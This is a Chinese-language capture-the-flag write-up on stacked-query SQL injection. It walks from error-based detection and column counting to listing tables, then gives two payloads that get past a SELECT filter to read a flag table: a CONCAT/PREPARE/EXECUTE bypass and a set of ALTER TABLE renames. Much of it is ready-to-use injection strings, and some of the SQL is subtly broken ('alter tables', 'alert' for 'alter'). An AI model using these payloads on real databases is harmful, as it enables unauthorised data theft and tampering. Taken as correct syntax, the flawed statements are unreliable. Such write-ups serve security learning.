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关于sqil的题目，这个真的是知识面太杂了。我研究了好几天，才看懂了这个题解。
打开场景以后，发现的是一个文本框，然后试一下有没有sql注入
先输入1发现回显正常，然后输入1‘发现出现错误，然后就可以判断存在sql注入
然后判断一下有几列，进行 1' order by 2#回显正常，但是1' order by 3#回显错误，所以可以确定一共有2列
发现select被禁用
然后就想到运用推叠注入，
想到首先查询一下数据库，然后发现supersqli这个就是要找的数据库
然后进行查表操作,
分别查询两个表的字段：
(字符串为表名进行操作时要加反引号）
'; show columns from `1919810931114514` ;--+
'; show columns from `words` ;--+
发现了可疑的flag,
方法1：采用预编译绕过，
';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from
@sql;EXECUTE stmt;#
解释：
';sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’); 进行预编译
prEpare stmt from @sql; 设置变量
EXECUTE stmt;# 执行
得出了最后的flag
方法二：可能比较绕
根据在words表里发现id字段与查询框里的出的数据类型相同，一个数字，一个字符串，所以猜测默认查询的就是words表，inject（搜索框中）值应该赋给了id
利用：我们可以将含有flag字段的表命名为word，然后修改字段名字，不就查询到我们想要的结果！（前提是这里rename，alert关键字 没有做过滤）
; alter tables words rename to words1;
; alter tables `1919810931114514` rename to words ;
; alter tables words change flag id varchar(50); #
查看flag：1' or 1=1 # 然后最终得出来flag
